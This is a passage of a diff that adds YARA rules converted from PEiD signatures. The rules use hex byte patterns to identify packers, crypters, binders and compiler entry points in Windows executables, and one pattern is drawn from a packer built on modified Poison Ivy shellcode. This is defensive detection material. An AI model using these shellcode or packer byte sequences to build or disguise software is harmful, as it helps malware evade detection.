+        $a = {E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF FF FF 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01242_MSLRH_v0_32a____emadicius_
+{
+    meta:
+        description = "[MSLRH v0.32a -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03}
+    condition:
+        $a
+}
+
+rule PEiD_01243_MSLRH_v32a____emadicius_
+{
+    meta:
+        description = "[MSLRH v32a -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08}
+    condition:
+        $a
+}
+rule PEiD_01244_MSLRH_
+{
+    meta:
+        description = "[MSLRH]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08}
+    condition:
+        $a
+}
+
+rule PEiD_01245_MSLRH_
+{
+    meta:
+        description = "[MSLRH]"
+        ep_only = "false"
+    strings:
+        $a = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81}
+    condition:
+        $a
+}
+
+rule PEiD_01246_MSVC___DLL_v_8__typical_OEP_recognized___h__
+{
+    meta:
+        description = "[MSVC++ DLL v.8 (typical OEP recognized - h)]"
+        ep_only = "true"
+    strings:
+        $a = {8B FF 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 75 09 83 3D ?? ?? ?? ?? 00 EB 26 83 FE 01 74 05 83 FE 02 75 22 A1 ?? ?? ?? ?? 85 C0 74 09 57 56 53 FF D0 85 C0 74 0C 57 56 53 E8 ?? ?? ?? FF 85 C0 75 04 33 C0 EB 4E 57 56 53 E8 ?? ?? ?? FF 83 FE 01 89 45 0C 75 0C 85 C0 75 37 57 50 53 E8 ?? ?? ?? FF 85 F6 74 05 83 FE 03 75 26 57 56 53 E8 ?? ?? ?? FF 85 C0 75 03 21 45 0C 83 7D 0C 00 74 11 A1 ?? ?? ?? ?? 85 C0 74 08 57 56 53 FF D0 89 45 0C 8B 45 0C 5F 5E 5B 5D C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_01247_MSVC___v_8__procedure_1_recognized___h__
+{
+    meta:
+        description = "[MSVC++ v.8 (procedure 1 recognized - h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 10 A1 ?? ?? ?? ?? 83 65 F8 00 83 65 FC 00 53 57 BF 4E E6 40 BB 3B C7 BB 00 00 FF FF 74 0D 85 C3 74 09 F7 D0 A3 ?? ?? ?? ?? EB 60 56 8D 45 F8 50 FF 15 ?? ?? ?? ?? 8B 75 FC 33 75 F8 FF 15 ?? ?? ?? ?? 33 F0 FF 15 ?? ?? ?? ?? 33 F0 FF 15 ?? ?? ?? ?? 33 F0 8D 45 F0 50 FF 15 ?? ?? ?? ?? 8B 45 F4 33 45 F0 33 F0 3B F7 75 07 BE 4F E6 40 BB EB 0B 85 F3 75 07 8B C6 C1 E0 10 0B F0 89 35 ?? ?? ?? ?? F7 D6 89 35 ?? ?? ?? ?? 5E 5F 5B C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01248_mucki_s_protector____mucki_
+{
+    meta:
+        description = "[mucki's protector -> mucki]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01249_mucki_s_protector_II____mucki_
+{
+    meta:
+        description = "[mucki's protector II -> mucki]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 6A 00 E8 85 C0 74 12 64 8B 3D 18 00 00 00 8B 7F 30 0F B6 47 02 85 C0 74 01 C3 C7 04 24 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2}
+    condition:
+        $a
+}
+
+rule PEiD_01250_mucki_s_protector_II____mucki_
+{
+    meta:
+        description = "[mucki's protector II -> mucki]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 6A 00 E8 85 C0 74 12 64 8B 3D 18 00 00 00 8B 7F 30 0F B6 47 02 85 C0 74 01 C3 C7 04 24 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01251_MZ0oPE_1_0_6b____TaskFall_
+{
+    meta:
+        description = "[MZ0oPE 1.0.6b -> TaskFall]"
+        ep_only = "true"
+    strings:
+        $a = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_01252_MZ0oPE_1_0_6b____TaskFall_
+{
+    meta:
+        description = "[MZ0oPE 1.0.6b -> TaskFall]"
+        ep_only = "true"
+    strings:
+        $a = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01253_MZ0oPE_1_0_6b____TaskFall_
+{
+    meta:
+        description = "[MZ0oPE 1.0.6b -> TaskFall]"
+        ep_only = "true"
+    strings:
+        $a = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4C 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01254_MZ_Crypt_1_0___by_BrainSt0rm_
+{
+    meta:
+        description = "[MZ_Crypt 1.0 - by BrainSt0rm]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 25 14 40 00 8B BD 77 14 40 00 8B 8D 7F 14 40 00 EB 28 83 7F 1C 07 75 1E 8B 77 0C 03 B5 7B 14 40 00 33 C0 EB 0C 50 8A A5 83 14 40 00 30 26 58 40 46 3B 47 10 76 EF 83 C7 28 49 0B C9 75 D4 8B 85 73 14 40 00 89 44 24 1C 61 FF E0}
+    condition:
+        $a
+}
+
+rule PEiD_01255_N_Joiner_0_1__Asm_Version_____NEX_
+{
+    meta:
+        description = "[N-Joiner 0.1 (Asm Version) -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 68 00 14 40 00 68 00 10 40 00 6A 00 E8 14 00 00 00 6A 00 E8 13 00 00 00 CC FF 25 AC 12 40 00 FF 25 B0 12 40 00 FF 25 B4 12 40 00 FF 25 B8 12 40 00 FF 25 BC 12 40 00 FF 25 C0 12 40 00 FF 25 C4 12 40 00 FF 25 C8 12 40 00 FF 25 CC 12 40 00 FF 25 D0 12 40 00 FF 25 D4 12 40 00 FF 25 D8 12 40 00 FF 25 DC 12 40 00 FF 25 E4 12 40 00 FF 25 EC 12 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01256_N_Joy_1_0____NEX_
+{
+    meta:
+        description = "[N-Joy 1.0 -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 9C 3B 40 00 E8 8C FC FF FF 6A 00 68 E4 39 40 00 6A 0A 6A 00 E8 40 FD FF FF E8 EF F5 FF FF 8D 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01257_N_Joy_1_1____NEX_
+{
+    meta:
+        description = "[N-Joy 1.1 -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 0C 3C 40 00 E8 24 FC FF FF 6A 00 68 28 3A 40 00 6A 0A 6A 00 E8 D8 FC FF FF E8 7F F5 FF FF 8D 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01258_N_Joy_1_2____NEX_
+{
+    meta:
+        description = "[N-Joy 1.2 -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 A4 32 40 00 E8 E8 F1 FF FF 6A 00 68 54 2A 40 00 6A 0A 6A 00 E8 A8 F2 FF FF E8 C7 EA FF FF 8D 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01259_N_Joy_1_3____NEX_
+{
+    meta:
+        description = "[N-Joy 1.3 -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 48 36 40 00 E8 54 EE FF FF 6A 00 68 D8 2B 40 00 6A 0A 6A 00 E8 2C EF FF FF E8 23 E7 FF FF 8D 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01260_Naked_Packer_V1_0____BigBoote_
+{
+    meta:
+        description = "[Naked Packer V1.0 -> BigBoote]"
+        ep_only = "true"
+    strings:
+        $a = {60 FC 0F B6 05 ?? ?? ?? ?? 85 C0 75 31 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9A 00 00 00 A3 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? 01 83 3D ?? ?? ?? ?? 00 75 07 61 FF 25 ?? ?? ?? ?? 61 FF 74 24 04 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_01261_Naked_Packer_V1_X____BigBoote_
+{
+    meta:
+        description = "[Naked Packer V1.X -> BigBoote]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+    condition:
+        $a
+}
+
+rule PEiD_01262_Nakedbind_1_0____nakedcrew_
+{
+    meta:
+        description = "[Nakedbind 1.0 -> nakedcrew]"
+        ep_only = "true"
+    strings:
+        $a = {64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B 4D 5A 74 08 81 EB 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01263_NakedPacker_1_0___by_BigBoote_
+{
+    meta:
+        description = "[NakedPacker 1.0 - by BigBoote]"
+        ep_only = "true"
+    strings:
+        $a = {60 FC 0F B6 05 34 ?? ?? ?? 85 C0 75 31 B8 50 ?? ?? ?? 2B 05 04 ?? ?? ?? A3 30 ?? ?? ?? A1 00 ?? ?? ?? 03 05 30 ?? ?? ?? A3 38 ?? ?? ?? E8 9A 00 00 00 A3 50 ?? ?? ?? C6 05 34 ?? ?? ?? 01 83 3D 50 ?? ?? ?? 00 75 07 61 FF 25 38 ?? ?? ?? 61 FF 74 24 04 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_01264_NakedPacker_1_0___by_BigBoote_
+{
+    meta:
+        description = "[NakedPacker 1.0 - by BigBoote]"
+        ep_only = "false"
+    strings:
+        $a = {60 FC 0F B6 05 34 ?? ?? ?? 85 C0 75 31 B8 50 ?? ?? ?? 2B 05 04 ?? ?? ?? A3 30 ?? ?? ?? A1 00 ?? ?? ?? 03 05 30 ?? ?? ?? A3 38 ?? ?? ?? E8 9A 00 00 00 A3 50 ?? ?? ?? C6 05 34 ?? ?? ?? 01 83 3D 50 ?? ?? ?? 00 75 07 61 FF 25 38 ?? ?? ?? 61 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 40 ?? ?? ?? C3 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 48 ?? ?? ?? C3 8B 4C 24 04 56 8B 74 24 10 57 85 F6 8B F9 74 0D 8B 54 24 10 8A 02 88 01}
+    condition:
+        $a
+}
+
+rule PEiD_01265_Native_UD_Packer_1_1__Modded_Poison_Ivy_Shellcode_____okkixot_
+{
+    meta:
+        description = "[Native UD Packer 1.1 (Modded Poison Ivy Shellcode) -> okkixot]"
+        ep_only = "true"
+    strings:
+        $a = {31 C0 31 DB 31 C9 EB 0E 6A 00 6A 00 6A 00 6A 00 FF 15 28 41 40 00 FF 15 94 40 40 00 89 C7 68 88 13 00 00 FF 15 98 40 40 00 FF 15 94 40 40 00 81 C7 88 13 00 00 39 F8 73 05 E9 84 00 00 00 6A 40 68 00 10 00 00 FF 35 04 30 40 00 6A 00 FF 15 A4 40 40 00 89 C7 FF 35 04 30 40 00 68 CA 10 40 00 50 FF 15 A8 40 40 00 6A 40 68 00 10 00 00 FF 35 08 30 40 00 6A 00 FF 15 A4 40 40 00 89 C6 68 00 30 40 00 FF 35 04 30 40 00 57 FF 35 08 30 40 00 50 6A 02 FF 15 4E 41 40 00 6A 00 6A 00 6A 00 56 6A 00 6A 00 FF 15 9C 40 40 00 50 6A 00 6A 00 6A 11 50 FF 15 4A 41 40 00 58 6A FF 50 FF 15 AC 40 40 00 6A 00 FF 15 A0 40}
+    condition:
+        $a
+}
+
+rule PEiD_01266_nBinder_v3_6_1_
+{
+    meta:
+        description = "[nBinder v3.6.1]"
+        ep_only = "false"
+    strings:
+        $a = {6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C 00 5C 6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C}
+    condition:
+        $a
+}
+
+rule PEiD_01267_nBinder_v4_0_
+{
+    meta:
+        description = "[nBinder v4.0]"
+        ep_only = "false"
+    strings:
+        $a = {5C 6E 62 34 5F 74 6D 70 5F 30 31 33 32 34 35 34 33 35 30 5C 00 00 00 00 00 00 00 00 00 E9 55 43 4C FF 01 1A 00 00 00 00 96 30 07 77 2C 61 0E EE BA 51 09 99 19 C4 6D 07 8F F4 6A 70 35 A5 63 E9 A3 95 64 9E 32 88 DB 0E A4 B8 DC 79}
+    condition:
+        $a
+}
+
+rule PEiD_01268_nbuild_v1_0__soft_
+{
+    meta:
+        description = "[nbuild v1.0 [soft]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? BB ?? ?? C0 ?? ?? 80 ?? ?? 43 E2}
+    condition:
+        $a
+}
+
+rule PEiD_01269_NeoLite_v1_0_
+{
+    meta:
+        description = "[NeoLite v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 04 8D 54 24 FC 23 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 FF 25}
+    condition:
+        $a
+}
+
+rule PEiD_01270_NeoLite_v1_0_
+{
+    meta:
+        description = "[NeoLite v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E9 9B 00 00 00 A0}
+    condition:
+        $a
+}
+
+rule PEiD_01271_NeoLite_v2_00_
+{
+    meta:
+        description = "[NeoLite v2.00]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 04 23 05 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74}
+    condition:
+        $a
+}
+rule PEiD_01272_Neolite_v2_0_
+{
+    meta:
+        description = "[Neolite v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {E9 A6 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01273_Netopsystems_FEAD_Optimizer_
+{
+    meta:
+        description = "[Netopsystems FEAD Optimizer]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 50 43 00 8D BE 00 C0 FC FF}
+    condition:
+        $a
+}
+
+rule PEiD_01274_Netopsystems_FEAD_Optimizer_
+{
+    meta:
+        description = "[Netopsystems FEAD Optimizer]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB 00 00 40 00 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01275_NFO_v1_0_
+{
+    meta:
+        description = "[NFO v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {8D 50 12 2B C9 B1 1E 8A 02 34 77 88 02 42 E2 F7 C8 8C}
+    condition:
+        $a
+}
+
+rule PEiD_01276_nMacro_recorder_1_0_
+{
+    meta:
+        description = "[nMacro recorder 1.0]"
+        ep_only = "false"
+    strings:
+        $a = {5C 6E 6D 72 5F 74 65 6D 70 2E 6E 6D 72 00 00 00 72 62 00 00 58 C7 41 00 10 F8 41 00 11 01 00 00 00 00 00 00 46 E1 00 00 46 E1 00 00 35 00 00 00 F6 88 41 00}
+    condition:
+        $a
+}
+
+rule PEiD_01277_NME_1_1_Public___by_redlime_
+{
+    meta:
+        description = "[NME 1.1 Public - by redlime]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 30 35 14 13 E8 9A E6 FF FF 33 C0 55 68 6C 36 14 13 64 FF 30 64 89 20 B8 08 5C 14 13 BA 84 36 14 13 E8 7D E2 FF FF E8 C0 EA FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 04 F8 FF FF 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 F4 F7 FF FF 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01278_NME_1_1_Public___by_redlime_
+{
+    meta:
+        description = "[NME 1.1 Public - by redlime]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 30 35 14 13 E8 9A E6 FF FF 33 C0 55 68 6C 36 14 13 64 FF 30 64 89 20 B8 08 5C 14 13 BA 84 36 14 13 E8 7D E2 FF FF E8 C0 EA FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 04 F8 FF FF 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 F4 F7 FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 2C F9 FF FF A3 F8 5A 14 13 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 17 F9 FF FF A3 FC 5A 14 13 B8 04 5C 14 13 E8 20 FB FF FF 8B D8 85 DB 74 48 B8 00 5B 14 13 8B 15 C4 45 14 13 E8 1E E7 FF FF A1 04 5C 14 13 E8 A8 DA FF FF ?? ?? ?? ?? 5C 14 13 50 8B CE 8B D3 B8 00 5B 14 13 ?? ?? ?? ?? FF 8B C6 E8 DF FB FF FF 8B C6 E8 9C DA FF FF B8 00 5B 14 13 E8 72 E7 FF FF 33 C0 5A 59 59 64 89 10 68 73 36 14 13 C3 E9 0F DF FF FF EB F8 5E 5B E8 7E E0 FF FF 00 00 FF FF FF FF 0C 00 00 00 4E 4D 45 20 31 2E 31 20 53 74 75 62}
+    condition:
+        $a
+}
+
+rule PEiD_01279_NoName_Packer_
+{
+    meta:
+        description = "[NoName Packer]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 2E 34 46 00 B9 55 4A 46 00 81 E9 26 37 46 00 89 EA 81 C2 26 37 46 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C}
+    condition:
+        $a
+}
+
+rule PEiD_01280_NoodleCrypt_2_00__Eng_____NoodleSpa_
+{
+    meta:
+        description = "[NoodleCrypt 2.00 (Eng) -> NoodleSpa]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02}
+    condition:
+        $a
+}
+
+rule PEiD_01281_NoodleCrypt_v2_00__Eng_____NoodleSpa_
+{
+    meta:
+        description = "[NoodleCrypt v2.00 (Eng) -> NoodleSpa]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02 04 00 00 EB 01 9A E8 19 07 00 00 EB 01 9A E8 9C 00 00 00 EB 01 9A E8 9C 06 00 00 E8 00 00 00 00 0F 7E F8 EB 01 9A 8B F8 C3 E8 00 00 00 00 58 EB 01 9A 25 00 F0 FF FF 8B F8 EB 01 9A 0F 6E F8 C3 8B D0 EB 01 9A 81 C2 C8 00 00 00 EB 01 9A B9 00 17 00 00 EB 01 9A C0 0A 06 EB 01 9A 80 2A 15 EB 01 9A 42 E2 EE 0F 6E C0 EB 01 9A 0F 7E C0 EB 01 9A 8B D0 00 85 EB A5 F5 65 4B 45 45 00 85 EB B3 65 07 45 45 00 85 EB 75 C7 C6 00 85 EB 65 CF 8A 00 85 EB D5 FD C0 00 85 EB 7F E5 05 05 05 00 85 EB 7F 61 06 45 45 00 85 EB 7F}
+    condition:
+        $a
+}
+rule PEiD_01282_NoodleCrypt_v2_0_
+{
+    meta:
+        description = "[NoodleCrypt v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01}
